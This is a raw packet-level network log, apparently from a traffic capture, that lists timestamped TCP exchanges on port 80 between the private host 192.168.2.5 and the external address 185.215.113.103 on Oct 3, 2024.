Oct 3, 2024 03:27:13.639363050 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.639375925 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.639393091 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.639403105 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.639420033 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.639425039 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.639425039 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.639425039 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.639430046 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.639441967 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.639451027 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.639458895 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.639461994 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.639472961 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.639483929 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.639513969 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.639550924 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.639563084 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.639571905 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.639609098 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.639609098 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.639650106 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.639659882 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.639669895 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.639679909 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.639698029 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.639730930 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.639924049 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.639934063 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.639941931 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.639951944 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.639961004 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.639970064 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.639970064 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.639981985 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.639992952 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.639991999 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.640003920 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.640012980 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.640032053 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.640064001 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.640320063 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.640331030 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.640340090 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.640350103 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.640358925 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.640372038 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.640404940 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.640404940 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.640489101 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.640500069 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.640508890 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.640517950 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.640528917 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.640537977 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.640539885 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.640547991 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.640558958 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.640562057 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.640568972 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.640580893 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.640583992 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.640589952 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.640599966 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.640608072 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.640609980 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.640609980 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.640619040 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.640635967 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.640661955 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.640897036 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.640907049 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.640943050 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.640974045 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.651021957 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.651089907 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.651109934 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.651118994 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.651128054 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.651137114 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.651148081 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.651154995 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.651156902 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.651166916 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.651175976 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.651187897 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.651191950 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.651197910 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.651238918 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.651267052 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.651278019 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.651287079 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.651297092 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.651309967 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.651340008 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.651369095 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.651441097 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.651489019 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.651499987 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.651515007 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.651535034 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.651544094 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.651566029 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.651567936 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.651582956 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.651602983 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.651621103 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.651638031 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.651650906 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.651688099 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.688086033 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.688102007 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.688124895 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.688144922 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.688157082 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.688169003 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.688189030 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.688203096 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.688211918 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.688220978 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.688230991 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.688240051 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.688256979 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.688266993 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.688276052 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.688271999 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.688283920 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.688271999 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.688271999 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.688272953 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.688272953 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.688272953 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.688272953 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.688272953 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.688296080 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.688393116 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.688393116 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.688393116 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.727523088 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.727585077 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.727596045 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.727606058 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.727616072 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.727624893 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.727628946 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.727636099 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.727647066 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.727650881 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.727683067 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.727689981 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.727695942 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.727709055 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.727720976 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.727725029 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.727742910 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.727751017 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.727756023 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.727768898 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.727777004 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.727782965 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.727801085 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.727802038 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.727823019 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.727828026 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.727834940 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.727838039 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.727844954 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.727854967 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.727865934 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.727870941 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.727876902 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.727883101 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.727891922 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.727904081 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.727907896 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.727916956 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.727926016 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.727933884 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.727952957 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.727962971 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.728023052 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728033066 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728045940 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728060961 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728069067 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728077888 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728086948 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728087902 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.728097916 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728107929 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728116035 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.728128910 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728131056 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.728143930 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.728172064 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728172064 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.728184938 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728255033 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728265047 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728274107 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728287935 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.728300095 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728308916 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728315115 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.728318930 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728384972 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.728457928 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728467941 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728477955 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728487015 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728496075 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728498936 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.728502035 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728508949 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728508949 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.728574038 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.728581905 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728594065 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728605032 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728620052 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728621960 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.728631973 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728647947 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.728661060 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728671074 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728672981 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.728698969 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728699923 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.728710890 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728719950 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728724003 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.728734970 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.728751898 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.728822947 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728832960 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728842020 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728863001 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.728878021 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728888035 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.728888988 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728899956 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728909969 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728919029 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.728941917 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.728957891 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.728988886 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.728998899 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.729012966 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.729027033 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.729029894 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.729038954 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.729041100 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.729052067 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.729059935 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.729062080 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.729073048 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.729074955 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.729083061 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.729101896 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.729111910 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.729134083 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.739763975 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.739789963 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.739799023 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.739814043 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.739823103 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.739840031 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.739895105 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.739895105 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.739933968 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.739979982 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.740071058 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.740080118 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.740088940 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.740097046 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.740104914 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.740119934 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.740122080 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.740132093 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.740143061 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.740150928 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.740151882 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.740160942 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.740163088 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.740173101 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.740194082 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.740220070 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.740222931 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.740230083 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.740240097 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.740263939 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.740266085 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.740273952 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.740288973 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.740300894 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.740310907 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.740317106 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.740341902 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.740355968 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.776973009 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.776987076 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.777003050 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.777014017 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.777029991 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.777040005 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.777035952 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.777059078 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.777070045 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.777080059 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.777081013 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.777090073 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.777091980 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.777106047 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.777116060 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.777134895 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.777143955 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.777154922 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.777167082 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.777178049 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.777188063 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.777203083 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.777223110 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.777240038 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.816329956 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.816378117 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.816404104 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.816411972 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.816421032 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.816437960 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.816453934 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.816453934 CEST	49738	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:13.816467047 CEST	80	49738	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:13.816468954 CEST	49738	80	192.168.2.5	185.215.113.103
